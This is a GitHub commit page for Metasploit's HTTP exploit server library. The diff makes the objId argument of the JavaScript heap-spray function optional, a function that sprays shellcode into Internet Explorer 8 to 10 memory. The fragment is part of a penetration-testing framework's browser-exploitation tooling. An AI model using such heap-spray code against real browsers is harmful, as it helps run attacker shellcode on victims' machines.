Skip to content

Commit 86d7893

Browse files
committed
Make objId optional
1 parent 9f35452 commit 86d7893

File tree

1 file changed

+10
-4
lines changed

1 file changed

+10
-4
lines changed

lib/msf/core/exploit/http/server.rb

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -799,9 +799,9 @@ def js_base64
799799
#
800800
# The "sprayHeap" JavaScript function supports the following arguments:
801801
# shellcode => The shellcode to spray in JavaScript.
802-
# objId => The ID for a <div> HTML tag.
803802
# browser => The type of browser to target for precise block size, such as:
804803
# 'ie8', 'ie9', 'ie10', and 'generic'.
804+
# objId => Optional. The ID for a <div> HTML tag.
805805
# offset => Optional. Number of bytes to align the shellcode, default: 0x104
806806
# heapBlockSize => Optional. Allocation size, default: 0x40000
807807
# maxAllocs => Optional. Number of allocation calls, default: 0x250
@@ -817,7 +817,9 @@ def js_base64
817817
# </script>
818818
#
819819
def js_property_spray
820-
js = %Q|function sprayHeap( oArg ) {
820+
js = %Q|
821+
var div_container;
822+
function sprayHeap( oArg ) {
821823
822824
shellcode = oArg.shellcode;
823825
browser = oArg.browser;
@@ -827,15 +829,19 @@ def js_property_spray
827829
objId = oArg.objId;
828830
829831
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
830-
if (objId == undefined) { throw "Missing argument: objId"; }
831832
if (offset == undefined) { offset = 0x104; }
832833
if (heapBlockSize == undefined) { heapBlockSize = 0x80000; }
833834
if (maxAllocs == undefined) { maxAllocs = 0x350; }
834835
if (browser == undefined) { browser = 'generic'; }
835836
836837
if (offset > 0x800) { throw "Bad alignment"; }
837838
838-
var div_container = document.getElementById(objId);
839+
div_container = document.getElementById(objId);
840+
841+
if (div_container == null) {
842+
div_container = document.createElement("div");
843+
}
844+
839845
div_container.style.cssText = "display:none";
840846
var data;
841847
junk = unescape("%u2020%u2020");

0 commit comments

Comments
 (0)